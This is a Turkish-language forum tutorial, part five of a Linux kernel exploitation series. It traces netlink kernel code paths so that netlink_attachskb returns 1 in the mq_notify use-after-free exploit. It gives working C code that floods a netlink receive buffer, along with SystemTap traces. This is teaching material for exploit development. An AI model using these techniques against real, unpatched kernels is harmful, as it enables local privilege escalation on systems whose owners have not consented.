Adım Adım Linux Kernel Exploitation - 5

Cezeri

Yönetici
Yeniden Dene "retry" Etiketine Geri Dönme

Bu bölüm bir kernel kodunun karmaşık bir şekilde açıklaması gibi görünebilir. Korkmayın! Proof-of-Concept kodunun tamamından bir adım uzaktayız.

Pekala, YAPILACAKLAR listemize bir göz atalım:
  1. netlink_attachskb()’yi 1 döndürmesi için zorla
  2. [DONE] exploit thread engellenmesini kaldır
  3. [DONE] ikinci fget() çağrısını NULL döndürmeye zorla
Yeniden deneme yoluna ulaşmak için netlink_attachskb() öğesinin 1 değerini döndürmesi gerekir. Bunu yapmanın tek yolu, ilk koşulu geçmemizi ve thread'inin engelini kaldırmamızı gerektirir (bunu zaten yaptık):

Kod:
    int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
              long *timeo, struct sock *ssk)
    {
      struct netlink_sock *nlk;
      nlk = nlk_sk(sk);

[0]   if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state))
      {
        // ... cut ...
        return 1;
      }
      // normal path
      return 0;
    }

[0] koşulu doğruysa:
  1. sk_rmem_alloc değeri sk_rcvbuf değerinden büyüktür, veya...
  2. ...nlk->state'in önem olarak en düşük biti ayarlanmıştır.
Şu anda, stap ile "nlk-> state" nin LSB'sini ayarlayarak doğru olmaya zorluyoruz:

Kod:
struct sock *sk = (void*) STAP_ARG_arg_sock;
struct netlink_sock *nlk = (void*) sk;
nlk->state |= 1;

Ancak, soket durumunu "congested (sıkışık)" (LSB kümesi) olarak işaretlemek biraz zahmetlidir. Bu biti ayarlayan kernel yoluna yalnızca bellek ayırma hatası nedeniyle ulaşılabilir. Bu, sistemi exploit etmeye uygun olmayan istikrarsız bir duruma sokacaktır. Eh, başka yollar da var (bellek arızası olmadan) ama o zaman şartı zaten sağlıyoruz... yani işe yaramayacak.
Bunun yerine, sock'un receive bufferını "geçerli" boyutunu temsil eden sk_rmem_alloc değerini artırmaya çalışacağız.


Receive Buffer'ı Doldurma

Bu kısımda, "receive buffer dolu mu?" anlamına gelen ilk koşulu karşılamaya çalışacağız:

Kod:
atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf

Bir hatırlatma olarak, bir struct sock (netlink_sock'a gömülü) aşağıdaki alanlara sahiptir:
  • sk_rcvbuf: "teorik" receive bufferının maksimum boyutu (bayt cinsinden)
  • sk_rmem_alloc: receive bufferının "mevcut" boyutu (bayt cinsinden)
  • sk_receive_queue: çift bağlantılı "skb" listesi (yani ağ bufferları)
NOT: sk_rcvbuf "teorik" çünkü "mevcut" receive buffer boyutunun gerçekten ötesine geçebilir.

Netlink sock yapısını stap ile boşaltırken:
Kod:
- sk->sk_rmem_alloc = 0
- sk->sk_rcvbuf = 133120

Bu koşulu doğru yapmanın iki yolu vardır:
  1. sk_rcvbuf değerini 0'ın altına düşürmek (kernel sürümümüzde sk_rcvbuf türü int'dir)
  2. sk_rmem_alloc değerini 133120'nin üzerine çıkarma

sk_rcvbuf Düşürme

sk_rcvbuf , tüm sock nesnelerinde ortak olan bir şeydir. Bu değerin değiştirildiği çok fazla yer yoktur (netlink soketleriyle). Bunlardan biri sock_setsockopt (SOL_SOCKET parametresiyle erişilebilir):

Kod:
    // from [net/core/sock.c]

    int sock_setsockopt(struct socket *sock, int level, int optname,
            char __user *optval, unsigned int optlen)
    {
      struct sock *sk = sock->sk;
      int val;

      // ... cut  ...

      case SO_RCVBUF:
[0]     if (val > sysctl_rmem_max)
          val = sysctl_rmem_max;
    set_rcvbuf:
        sk->sk_userlocks |= SOCK_RCVBUF_LOCK;
[1]     if ((val * 2) < SOCK_MIN_RCVBUF)
          sk->sk_rcvbuf = SOCK_MIN_RCVBUF;         
        else 
          sk->sk_rcvbuf = val * 2;                 
        break;

      // ... cut (other options handling) ...
    }

NOT: Bu "imzalı/imzasız tür karıştırma" nedeniyle birçok hata var. Aynı şey, daha büyük bir türü (u64) daha küçük bir türe (u32) dökerken de geçerlidir. Bu genellikle int taşmasına veya tür döküm sorunlarına yol açar.

Hedefimizde (sizinki farklı olabilir) mevcut olanlar:
  • sk_rcvbuf: int
  • val: int
  • sysctl_rmem_max: __u32
  • SOCK_MIN_RCVBUF: "sizeof()" nedeniyle size_t'ye “yükseltilmekte”
SOCK_MIN_RCVBUF tanımı ise şöyle:

Kod:
#define SOCK_MIN_RCVBUF (2048 + sizeof(struct sk_buff))

Genel olarak, imzalı tamsayı imzasız tamsayı ile karıştırılırken, imzalı tamsayı imzasız türe dökülür.

DİKKAT: Önceki kuralın çok sağlam olduğunu düşünmeyin, derleyici başka bir şey yapmayı seçebilir. Emin olmak için disassambly kodunu kontrol etmelisiniz.

"Val"de negatif bir değer geçtiğimizi düşünelim. [0] sırasında imzasız türe yükseltilir (çünkü sysctl_rmem_max türü "__u32" dir). Ve böylece, değer sysctl_rmem_max değerine sıfırlanır (küçük negatif değerler büyük imzasız değerlerdir).

"Val", "__u32"ye yükseltilmese bile, ikinci kontrolü geçemeyiz [1]. Sonunda, [SOCK_MIN_RCVBUF, sysctl_rmem_max] (yani negatif değil) olarak sıkıştırılacağız. Yani, sk_rcvbuf alanı yerine sk_mem_alloc ile oynamamız gerekiyor.

NOT: Bir exploit geliştirirken şu olguyla karşılaşacaksınız: aslında hiçbir yere götürmeyen birçok kod yolunu analiz etme. Bu makalede ortaya bunu çıkarmak istedik.


"Normal" yola dönme

Bu serinin ilk satırından bu yana göz ardı ettiğimiz bir şeye geri dönme zamanı: mq_notify() "normal" yolu. Kavramsal olarak, sock reveive buffer dolduğunda bir "retry path" vardır, çünkü normal yol onu gerçekten doldurabilir.
Netlink_attachskb() içerisinde:

Kod:
    int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
              long *timeo, struct sock *ssk)
    {
      struct netlink_sock *nlk;
      nlk = nlk_sk(sk);
      if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {
          // ... cut (retry path) ...
      }
      skb_set_owner_r(skb, sk);       // <----- what about this ?
      return 0;
    }

Böylelikle, normal yol, skb_set_owner_r()’yi çağırır:

Kod:
    static inline void skb_set_owner_r(struct sk_buff *skb, struct sock *sk)
    {
      WARN_ON(skb->destructor);
      __skb_orphan(skb);
      skb->sk = sk;
      skb->destructor = sock_rfree;
[0]   atomic_add(skb->truesize, &sk->sk_rmem_alloc);  // sk->sk_rmem_alloc += skb->truesize
      sk_mem_charge(sk, skb->truesize);
    }

Evet, skb_set_owner_r(), skb->truesize ile sk_rmem_alloc değerini arttırır. Öyleyse, receive bufferı doluncaya kadar mq_notify() öğesini birden çok kez çağıralım mı? Ne yazık ki, bunu o kadar kolay yapamayız.

mq_notify()'ın normal seyrinde, fonksiyonun başında bir skb ("çerez" olarak adlandırılır) oluşturulur ve netlink_attachskb() ile netlink_sock'a eklenir, bunu zaten ele aldık. Ardından, hem netlink_sock hem de skb, bir ileti kuyruğuna ait olan "mqueue_inode_info" yapısıyla ilişkilendirilir (krş. mq_notify'ın normal yolu).

Sorun şu ki, bir seferde bir mqueue_inode_info yapısıyla ilişkili yalnızca bir (çerez) "skb" olabilir. Diğer bir deyişle, mq_notify() öğesini ikinci kez çağırmak "-EBUSY" hatası sonucunu verir ve başarısız olur. Başka bir deyişle, sk_rmem_alloc boyutunu yalnızca bir kez artırabiliriz (belirli bir ileti sırası için) ve bu, sk_rcvbuf değerinden daha büyük hale getirmek için yeterli değildir (yalnızca 32 bayt).

Aslında birden çok ileti kuyruğu, dolayısıyla birden çok mqueue_inode_info nesnesi oluşturabilir ve mq_notify() öğesini birden çok kez çağırabiliriz. Veya iletileri sıraya almak için mq_timedsend() syscall öğesini de kullanabiliriz. Başka bir alt sistemi (mqueue) incelemek istemediğimizden ve "ortak" kernel yoluna (sendmsg) bağlı kalmak istemediğimizden, bunu burada yapmayacağız. Yine de iyi bir egzersiz olabilir...

NOT: Bir exploiti kodlamanın her zaman birden çok yolu vardır.

mq_notify() normal yolunu almayacak olsak da, yine de önemli bir şey ortaya çıkardı: sk_rmem_alloc değerini skb_set_owner_r(), dolayısıyla netlink_attachskb() ile artırabiliriz.

netlink_unicast() Yolu

skb_set_owner_r() yardımıyla netlink_attachskb() öğesinin sk_rmem_alloc değerini artırabileceğini gördük. netlink_attachskb() fonksiyonu da netlink_unicast() tarafından çağrılır. Bir sistem çağrısına kadar netlink_unicast() öğesine nasıl ulaşabileceğimizi kontrol etmek için aşağıdan yukarıya bir analiz yapalım:

Kod:
- skb_set_owner_r
- netlink_attachskb
- netlink_unicast   
- netlink_sendmsg   // there is a lots of "other" callers of netlink_unicast
- sock->ops->sendmsg()         
- __sock_sendmsg_nosec()
- __sock_sendmsg()
- sock_sendmsg()
- __sys_sendmsg()
- SYSCALL_DEFINE3(sendmsg, ...)

netlink_sendmsg(), netlink soketlerinin bir proto_ops'u olduğundan, bir sendmsg() syscall aracılığıyla erişilebilir.

Bir sendmsg() syscall'dan bir sendmsg'nin proto_ops'una (sock->ops-> sendmsg()) genel kod yolu, sonraki bölümlerde daha derin ayrıntılarla ele alınacaktır. Şimdilik, netlink_sendmsg() öğesine çok fazla sorun yaşamadan ulaşabileceğimizi varsayalım.


Netlink_sendmsg() öğesinden netlink_unicast() öğesine ulaşma

sendmmsg() syscall aşağıdaki imzaya sahiptir:
Kod:
ssize_t sendmsg(int sockfd, const struct msghdr *msg, int flags);

netlink_unicast() öğesine ulaşmak, hem msg hem de flags bağımsız değişkenlerinde doğru değerleri ayarlamakla ilgilidir:

Kod:
  struct msghdr {
     void         *msg_name;       /* optional address */
     socklen_t     msg_namelen;    /* size of address */
     struct iovec *msg_iov;        /* scatter/gather array */
     size_t        msg_iovlen;     /* # elements in msg_iov */
     void         *msg_control;    /* ancillary data, see below */
     size_t        msg_controllen; /* ancillary data buffer len */
     int           msg_flags;      /* flags on received message */
  };

  struct iovec
  {
    void __user     *iov_base;
    __kernel_size_t iov_len;
  };

Bu bölümde, parametre değerini koddan çıkaracağız ve adım adım "kısıtlama" listemizi oluşturacağız. Bunu yaparak kernelin istediğimiz yolu almasını sağlayacağız. Kernel exploiti aslında bununla ilgilidir. Burada, netlink_unicast() çağrısı fonksiyonun en sonundadır. Tüm kontrolleri geçmemiz (veya atlamamız) gerekecek...
Hadi başlayalım:

Kod:
    static int netlink_sendmsg(struct kiocb *kiocb, struct socket *sock,
             struct msghdr *msg, size_t len)
    {
      struct sock_iocb *siocb = kiocb_to_siocb(kiocb);
      struct sock *sk = sock->sk;
      struct netlink_sock *nlk = nlk_sk(sk);
      struct sockaddr_nl *addr = msg->msg_name;
      u32 dst_pid;
      u32 dst_group;
      struct sk_buff *skb;
      int err;
      struct scm_cookie scm;
      u32 netlink_skb_flags = 0;

[0]   if (msg->msg_flags&MSG_OOB)
        return -EOPNOTSUPP;

[1]   if (NULL == siocb->scm)
        siocb->scm = &scm;

      err = scm_send(sock, msg, siocb->scm, true);
[2]   if (err < 0)
        return err;

      // ... cut ...

      err = netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);   // <---- our target

    out:
      scm_destroy(siocb->scm);
      return err;
    }

MSG_OOB flagi [0] olarak ayarlanmamalıdır. İşte ilk kısıtlamamız: msg->msg_flags MSG_OOB biti ayarlanmamıştır.

"Siocb->scm", __sock_sendmsg_nosuch() içinde NULL olarak ayarlandığından [1]'deki test doğru olacaktır. Son olarak, scm_send() negatif bir değer döndürmemelidir [2], kod:

Kod:
static __inline__ int scm_send(struct socket *sock, struct msghdr *msg,
                   struct scm_cookie *scm, bool forcecreds)
{
    memset(scm, 0, sizeof(*scm));
    if (forcecreds)
        scm_set_cred(scm, task_tgid(current), current_cred());
    unix_get_peersec_dgram(sock, scm);
    if (msg->msg_controllen <= 0)     // <----- this need to be true...
        return 0;                     // <----- ...so we hit this and skip __scm_send()
    return __scm_send(sock, msg, scm);
}

İkinci kısıtlama: msg-> msg_controllen sıfıra eşittir (tür size_t'dir, negatif değer yoktur).

Şimdi devam edelim:

Kod:
      // ... netlink_sendmsg() continuation ...

[0]   if (msg->msg_namelen) {
        err = -EINVAL;
[1]     if (addr->nl_family != AF_NETLINK)
          goto out;
[2a]    dst_pid = addr->nl_pid;
[2b]    dst_group = ffs(addr->nl_groups);
        err =  -EPERM;
[3]     if ((dst_group || dst_pid) && !netlink_allowed(sock, NL_NONROOT_SEND))
          goto out;
        netlink_skb_flags |= NETLINK_SKB_DST;
      } else {
        dst_pid = nlk->dst_pid;
        dst_group = nlk->dst_group;
      }

      // ... cut ...

Bu blok, "gönderen" soketinin hedef (alıcı) soketine zaten bağlı olup olmamasına bağlıdır. Eğer öyleyse, hem "nlk-> dst_pid" hem de "nlk-> dst_group" zaten ayarlanmıştır. Alıcı soketine bağlanmak istemediğimizden (kötü yan etki), ilk sırayı almak istiyoruz. Yani msg->msg_namelen sıfırdan farklı olmalıdır [0].

Fonksiyonun başına bakarsanız, "addr"nin kullanıcı tarafından denetlenen başka bir parametre olduğunu görürüz: msg->msg_name. [2a] ve [2b] yardımıyla keyfi bir "dst_group" ve "dst_pid" seçebiliriz. Bunları kontrol etmek bize izin verir:
  1. dst_group == 0: yayın yerine tek noktaya yayın iletisi gönderme (krş. man 7 netlink)
  2. dst_pid != 0: seçtiğimiz alıcı soketi (kullanıcı tarafı) ile konuşur. Sıfır, "kernel ile konuş" anlamına gelir.
Kısıtlama listesinde çevirdiğimiz (msg_name , sockaddr_nl'ye aktarılır):
  1. msg->msg_name->dst_group sıfıra eşittir
  2. msg->msg_name->dst_pid, "destinasyon olan" soket nl_pid’e eşittir
Ancak, netlink_allowed(sock, NL_NONROOT_SEND) [3] sıfır döndürmez anlamına gelir:

Kod:
static inline int netlink_allowed(const struct socket *sock, unsigned int flag)
{
  return (nl_table[sock->sk->sk_protocol].flags & flag) || capable(CAP_NET_ADMIN));
}

Yetkisiz bir kullanıcıyı exploit ettiğimiz için CAP_NET_ADMIN'imiz yok. "NL_NONROOT_SEND" bayrak kümesine sahip olan tek "netlink protokolü" NETLINK_USERSOCK'tur (çapraz referans). Yani: "gönderen" soketinin NETLİNK_USERSOCK protokolüne sahip olması gerekir.

Ayrıca [1], msg->msg_name->nl_family AF_NETLINK'e eşit olması gerekir.

Sonra:

Kod:
[0]   if (!nlk->pid) {
[1]     err = netlink_autobind(sock);
        if (err)
          goto out;
      }

Kontrolü [0]'da kontrol edemeyiz çünkü soket oluşturma sırasında soketin pid'si sıfıra ayarlanır (tüm yapı sk_alloc() tarafından sıfırlanır). Buna geri döneceğiz, ancak şimdilik netlink_autobind() [1] gönderici soketimiz için "kullanılabilir" bir pid bulacağını ve başarısız olmayacağını düşünün. Ancak, ikinci bir sendmsg() çağrısı sırasında onay atlanır, bu sefer "nlk-> pid" ayarlanır. Sonra:

Kod:
      err = -EMSGSIZE;
[0]   if (len > sk->sk_sndbuf - 32)
        goto out;
      err = -ENOBUFS;
      skb = alloc_skb(len, GFP_KERNEL);
[1]   if (skb == NULL)
        goto out;

Burada, "len" __sys_sendmsg() sırasında hesaplanır. Bu "tüm iovec lenlerin toplamı"dır. Dolayısıyla, tüm iovec'lerin toplamı sk-> sk_sndbuf eksi 32 [0] değerinden küçük olmalıdır. Basit tutmak için tek bir iovec kullanacağız. Yani:
  • msg->msg_iovlen, 1’e eşittir // tek bir iovec
  • msg->msg_iov->iov_len, sk-> sk_sndbuf eksi 32'den küçük veya eşittir
  • msg->msg_iov->iov_base kullanıcı tarafından okunabilir olmalıdır // aksi takdirde __sys_sendmsg() başarısız olur

Son sorun, msg->msg_iov öğesinin de kullanıcı tarafından okunabilir bir adres olduğu anlamına gelir (yine, __sys_sendmsg() aksi halde başarısız olur).

NOT: "sk_sndbuf", "sk_rcvbuf"a eşdeğerdir ancak receive buffer için. Değerini sock_getsockopt() seçeneği "SO_SNDBUF" ile alabiliriz.

[1] adresindeki kontrol başarısız olmamalıdır. Eğer olursa, kernelin şu anda bellek yetersiz olduğu ve exploit için çok kötü durumda olduğu anlamına gelir. Exploit devam etmemeli, burada başarısız olma ihtimali var ve en kötüsü kernelin çökmesine neden olacaktır! Uyarımızı yaptık, hata işleme kodu uygulayın...
Bir sonraki kod bloğu göz ardı edilebilir (herhangi bir denetimi geçmesine gerek yoktur), "siocb-> scm" yapısı scm_send() ile erken başlatılır:

Kod:
      NETLINK_CB(skb).pid   = nlk->pid;
      NETLINK_CB(skb).dst_group = dst_group;
      memcpy(NETLINK_CREDS(skb), &siocb->scm->creds, sizeof(struct ucred));
      NETLINK_CB(skb).flags = netlink_skb_flags;

Sonra:
Kod:
      err = -EFAULT;
[0]   if (memcpy_fromiovec(skb_put(skb, len), msg->msg_iov, len)) {
        kfree_skb(skb);
        goto out;
      }

Yine, [0] denetiminde sorun yok zaten okunabilir bir iovec sağlıyoruz, aksi halde __sys_sendmsg() başarısız olur.

Kod:
[0]   err = security_netlink_send(sk, skb);
      if (err) {
        kfree_skb(skb);
        goto out;
      }

Bu bir Linux Güvenlik Modülü (LSM, örneğin SELinux) kontrolüdür. Bu denetimi geçemezsek, netlink_unicast() öğesine ulaşmanın başka bir yolunu veya daha genel olarak "sk_rmem_alloc" öğesini artırmanın başka bir yolunu bulmanız gerekir (ipucu: netlink_dump() öğesini deneyebiliriz). Bu kontrolü buradan geçtiğimizi varsayıyoruz.
Ve son olarak:

Kod:
[0]   if (dst_group) {
        atomic_inc(&skb->users);
        netlink_broadcast(sk, skb, dst_pid, dst_group, GFP_KERNEL);
      }
[1]   err = netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);

"msg->msg_name->dst_group" ile "dst_group" değerini seçtiğimizi unutmayın. Sıfır olmaya zorladığımızdan beri, kontrolü atlayacağız [0]... ve son olarak netlink_unicast() öğesini çağırın!

Pekala, netlink_sendmsg()'den netlink_unicast()'e ulaşmak için tüm gereksinimlerimizi özetleyelim:
  • msg->msg_flags MSG_OOB flagine sahip değil
  • msg->msg_controllen, 0’a eşittir
  • msg->msg_namelen sıfırdan farklıdır
  • msg->msg_name->nl_family, AF_NETLINK’e eşittir
  • msg->msg_name->nl_groups, 0’a eşittir
  • msg->msg_name->nl_pid 0'dan farklıdır ve alıcı soketine işaret eder
  • gönderen netlink soketi NETLINK_USERSOCK protokolünü kullanmalıdır
  • msg->msg_iovlen, 1’e eşittir
  • msg->msg_iov okunabilir bir kullanıcı tarafı adresidir
  • msg->msg_iov->iov_len, sk_sndbuf eksi 32'den küçük veya ona eşittir
  • msg->msg_iov->iov_base okunabilir bir kullanıcı tarafı adresidir
Burada gördüğümüz kernel exploiti yazanların görevidir. Her denetimi analiz etme, belirli bir kernel yolunu zorlama, sistem çağrısı parametrelerinizi ayarlama vb. Pratikte, bu listeyi oluşturmak o kadar uzun değildir. Bazı yollar bundan çok daha karmaşıktır.

Devam edelim ve şimdi netlink_attachskb() öğesine ulaşalım.


netlink_unicast() Öğesinden netlink_attachskb() Öğesine Ulaşma

Bu öncekinden daha kolay olmalı. netlink_unicast() aşağıdaki parametrelerle çağrılır:
Kod:
netlink_unicast(sk, skb, dst_pid, msg->msg_flags&MSG_DONTWAIT);

Ki burada:
  • sk göndericimiz netlink_sock’tur
  • skb, msg->msg_iov->iov_base boyutundaki verilerle dolu bir soket bufferıdır msg->msg_iov->iov_len
  • dst_pid, alıcı netlink soketimize işaret eden kontrollü bir pid'dir (msg->msg_name->nl_pid)
  • msg->msg_flasg&MSG_DONTWAIT, netlink_unicast() öğesinin engellenip engellenmeyeceğini belirtir

DİKKAT: netlink_unicast() kodunun içinde "ssk" gönderen soketi ve "sk" alıcısı bulunur.

Netlink_unicast() kodu:

Kod:
    int netlink_unicast(struct sock *ssk, struct sk_buff *skb,
            u32 pid, int nonblock)
    {
      struct sock *sk;
      int err;
      long timeo;

      skb = netlink_trim(skb, gfp_any());   // <----- ignore this

[0]   timeo = sock_sndtimeo(ssk, nonblock);
    retry:
[1]   sk = netlink_getsockbypid(ssk, pid);
      if (IS_ERR(sk)) {
        kfree_skb(skb);
        return PTR_ERR(sk);
      }
[2]   if (netlink_is_kernel(sk))
        return netlink_unicast_kernel(sk, skb, ssk);

[3]   if (sk_filter(sk, skb)) {
        err = skb->len;
        kfree_skb(skb);
        sock_put(sk);
        return err;
      }

[4]   err = netlink_attachskb(sk, skb, &timeo, ssk);
      if (err == 1)
        goto retry;
      if (err)
        return err;

[5]   return netlink_sendskb(sk, skb);
    }

[0]'da sock_sndtimeo(), nonblock parametresine göre timeo (zaman aşımı) değerini ayarlar. Engellemek istemediğimizden (engellenmeyen> 0), timeo sıfır olacaktır. Yani msg->msg_flags MSG_DONTWAIT flagini ayarlamalıdır.

[1]'de, hedef netlink_sock "sk" pid'den alınır. Bir sonraki bölümde göreceğimiz gibi, netlink_getsockbypid() ile alınmadan önce hedef netlink_sock'un bağlanması gerekir.

[2]'de hedef soket bir "kernel" soketi olmamalıdır. NETLINK sock'u, NETLINK_KERNEL_SOCKET flagine sahipse kernel olarak etiketlenir. netlink_kernel_create() fonksiyonuyla oluşturulmuş demektir. Ne yazık ki, NETLINK_GENERIC bunlardan biridir (mevcut exploitte). Bu yüzden alıcı soket protokolünü de NETLINK_USERSOCK olarak değiştirelim. Bu arada, bu da daha mantıklı... Alıcı netlink_sock üzerinde bir referans alındığını unutmayın.

[3]'te BPF sock filtresi uygulanabilir. Alıcı soketi için herhangi bir BPF filtresi oluşturmazsak atlanabilir.

Ve... netlink_attachskb() için [4] çağrısı! netlink_attachskb() içinde, bu yollardan birini almamız garanti edilir (kodu tekrar yapıştırmalı mıyız?):
  1. receiver bufferı dolu değildir: skb_set_owner_r()-> çağrısı k_rmem_alloc değerini artırır
  2. receiver bufferı doludur: netlink_attachskb() bloklamaz ve -EAGAIN döncürmez (zaman aşımı sıfırdır)
Yani, receive bufferın ne zaman dolduğunu bilmenin bir yolu vardır (sadece sendmsg() hata kodunu kontrol edin).

Son olarak, netlink_sendskb() öğesine yapılan [5] çağrısı skb'yi receiver buffer listesine ekler ve netlink_getsockbypid() ile alınan başvuruyu bırakır.

Kısıtlama listesini güncelleyelim:
  • msg->msg_flags, MSG_DONTWAIT flagi kümesi oluşturuldu
  • sendmsg() öğesini çağırmadan önce alıcı netlink soketinin bağlı olması gerekir.
  • alıcı netlink soketi NETLINK_USERSOCK protokolünü kullanmalıdır
  • alıcı soketi için herhangi bir BPF filtresi tanımlamaz
Son PoC'a çok yaklaştık. Sadece alıcı soketini bağlamamız gerekiyor.


Alıcı Soketini Bağlama

Herhangi bir soket iletişimi gibi, iki soket de "adresler" kullanarak iletişim kurabilir. Netlink soketini manipüle ettiğimizden, "struct sockaddr_nl" türünü kullanacağız.

Kod:
struct sockaddr_nl {
   sa_family_t     nl_family;  /* AF_NETLINK */
   unsigned short  nl_pad;     /* Zero. */
   pid_t           nl_pid;     /* Port ID. */
   __u32           nl_groups;  /* Multicast groups mask. */
};

Bir "broadcast grubu"nun parçası olmak istemediğimizden, nl_groups sıfır olmalıdır. Buradaki tek önemli alan "nl_pid"dir.

Temel olarak, netlink_bind() iki yol alabilir:
  1. nl_pid sıfır değildir: netlink_insert()’i çağırır
  2. nl_pid sıfırdır: netlink_autobind()’ı çağırı, ki bu da karşılığında netlink_insert()’i çağırır
netlink_insert() öğesinin önceden kullanılmış bir pid ile çağrılmasının "-EADDRINUSE" hatasıyla başarısız olacağını unutmayın. Aksi halde, nl_pid ve netlink sock arasında bir eşleme oluşturulur. Yani, netlink sock artık netlink_getsockbypid() ile alınabilir. Buna ek olarak, netlink_insert() sock referans sayacını 1 artırır. Son PoC kodu için bunu aklınızda bulundurun.

NOT: Netlink'in "pid: netlink_sock" eşlemesini nasıl depoladığını anlatacağımız bölümlere de yer vereceğiz.

netlink_autobind() öğesini çağırmak daha doğal görünse de, aslında bunu bind() başarılı olana kadar pid değerini (autobind'in yaptığı şey budur) kaba kuvvet kullanarak (brute-force) kullanıcı alanından simüle ediyoruz (nedenini bilmiyoruz... çoğunlukla tembellik...). Bunu yapmak, getsockname() çağırmadan doğrudan hedef nl_pid değerine sahip olmamızı sağlar ve hata ayıklamayı kolaylaştırabilir.


Özet

Tüm bu yollara girmek oldukça uzun bir süreydi, ancak şimdi bunu exploitimizde uygulamaya ve nihayet hedefimize ulaşmaya hazırız: netlink_attachskb() 1 döndürür!

Stratejimiz şu şekilde:
  1. NETLINK_USERSOCK protokolüyle iki AF_NETLINK soketi oluştur
  2. Hedef (alıcı) soketini bağla (yani receive bufferının dolu olması gereken)
  3. [isteğe bağlı] Hedef soket receive bufferı azaltmaya çalış (sendmsg'ye daha az çağrı ())
  4. Hedef soketi sendmsg() aracılığıyla gönderen soketinden -EAGAIN geri dönene kadar devam et
  5. Gönderen soketini kapat (artık buna ihtiyacımız olmayacak)
Her şeyin çalıştığını doğrulamak için bu tek kodu tek başına çalıştırabilirsiniz:

Kod:
static int prepare_blocking_socket(void)
{
  int send_fd;
  int recv_fd;
  char buf[1024*10]; // should be less than (sk->sk_sndbuf - 32), you can use getsockopt()
  int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF

  struct sockaddr_nl addr = {
    .nl_family = AF_NETLINK,
    .nl_pad = 0,
    .nl_pid = 118, // must different than zero
    .nl_groups = 0 // no groups
  };

  struct iovec iov = {
    .iov_base = buf,
    .iov_len = sizeof(buf)
  };

  struct msghdr mhdr = {
    .msg_name = &addr,
    .msg_namelen = sizeof(addr),
    .msg_iov = &iov,
    .msg_iovlen = 1,
    .msg_control = NULL,
    .msg_controllen = 0,
    .msg_flags = 0,
  };

  printf("[ ] preparing blocking netlink socket\n");

  if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 ||
      (recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0)
  {
    perror("socket");
    goto fail;
  }
  printf("[+] socket created (send_fd = %d, recv_fd = %d)\n", send_fd, recv_fd);

  // simulate netlink_autobind()
  while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr)))
  {
    if (errno != EADDRINUSE)
    {
      perror("[-] bind");
      goto fail;
    }
    addr.nl_pid++;
  }

  printf("[+] netlink socket bound (nl_pid=%d)\n", addr.nl_pid);

  if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))
    perror("[-] setsockopt"); // no worry if it fails, it is just an optim.
  else
    printf("[+] receive buffer reduced\n");

  printf("[ ] flooding socket\n");
  while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0)  // <----- don't forget MSG_DONTWAIT
    ;
  if (errno != EAGAIN)  // <----- did we failed because the receive buffer is full ?
  {
    perror("[-] sendmsg");
    goto fail;
  }
  printf("[+] flood completed\n");

  _close(send_fd);

  printf("[+] blocking socket ready\n");
  return recv_fd;

fail:
  printf("[-] failed to prepare block socket\n");
  return -1;
}

SistemTap ile sonucu kontrol edelim. Buradan, SystemTap yalnızca kerneli gözlemlemek için kullanılmalı, hiçbir şeyi değiştirmemelidir. Soketi yoğun olarak işaretleyen satırı kaldırmayı ve çalıştırmayı unutmayın:

Kod:
(2768-2768) [SYSCALL] ==>> sendmsg (3, 0x7ffe69f94b50, MSG_DONTWAIT)
(2768-2768) [uland] ==>> copy_from_user ()
(2768-2768) [uland] ==>> copy_from_user ()
(2768-2768) [uland] ==>> copy_from_user ()
(2768-2768) [netlink] ==>> netlink_sendmsg (kiocb=0xffff880006137bb8 sock=0xffff88002fdba0c0 msg=0xffff880006137f18 len=0x2800)
(socket=0xffff88002fdba0c0)->sk->sk_refcnt = 1
(2768-2768) [netlink] ==>> netlink_autobind (sock=0xffff88002fdba0c0)
(2768-2768) [netlink] <<== netlink_autobind = 0
(2768-2768) [skb] ==>> alloc_skb (priority=0xd0 size=?)
(2768-2768) [skb] ==>> skb_put (skb=0xffff88003d298840 len=0x2800)
(2768-2768) [skb] <<== skb_put = ffff880006150000
(2768-2768) [iovec] ==>> memcpy_fromiovec (kdata=0xffff880006150000 iov=0xffff880006137da8 len=0x2800)
(2768-2768) [uland] ==>> copy_from_user ()
(2768-2768) [iovec] <<== memcpy_fromiovec = 0
(2768-2768) [netlink] ==>> netlink_unicast (ssk=0xffff880006173c00 skb=0xffff88003d298840 pid=0x76 nonblock=0x40)
(2768-2768) [netlink] ==>> netlink_lookup (pid=? protocol=? net=?)
(2768-2768) [sk] ==>> sk_filter (sk=0xffff88002f89ac00 skb=0xffff88003d298840)
(2768-2768) [sk] <<== sk_filter = 0
(2768-2768) [netlink] ==>> netlink_attachskb (sk=0xffff88002f89ac00 skb=0xffff88003d298840 timeo=0xffff880006137ae0 ssk=0xffff880006173c00)
-={ dump_netlink_sock: 0xffff88002f89ac00 }=-
- sk = 0xffff88002f89ac00
- sk->sk_rmem_alloc = 0                               // <-----
- sk->sk_rcvbuf = 2312                                // <-----
- sk->sk_refcnt = 3
- nlk->state = 0
- sk->sk_flags = 100
-={ dump_netlink_sock: END}=-
(2768-2768) [netlink] <<== netlink_attachskb = 0
-={ dump_netlink_sock: 0xffff88002f89ac00 }=-
- sk = 0xffff88002f89ac00
- sk->sk_rmem_alloc = 10504                           // <-----
- sk->sk_rcvbuf = 2312                                // <-----
- sk->sk_refcnt = 3
- nlk->state = 0
- sk->sk_flags = 100
-={ dump_netlink_sock: END}=-
(2768-2768) [netlink] <<== netlink_unicast = 2800
(2768-2768) [netlink] <<== netlink_sendmsg = 2800
(2768-2768) [SYSCALL] <<== sendmsg= 10240

Çok güzel! Şimdi "receive buffer dolu" koşulunu yerine getiriyoruz (sk_mem_alloc>sk_rcvbuf). Diğer bir deyişle, sonraki çağrı mq_attachskb() 1 döndürecektir!

YAPILACAKLAR listesini güncelleyelim:
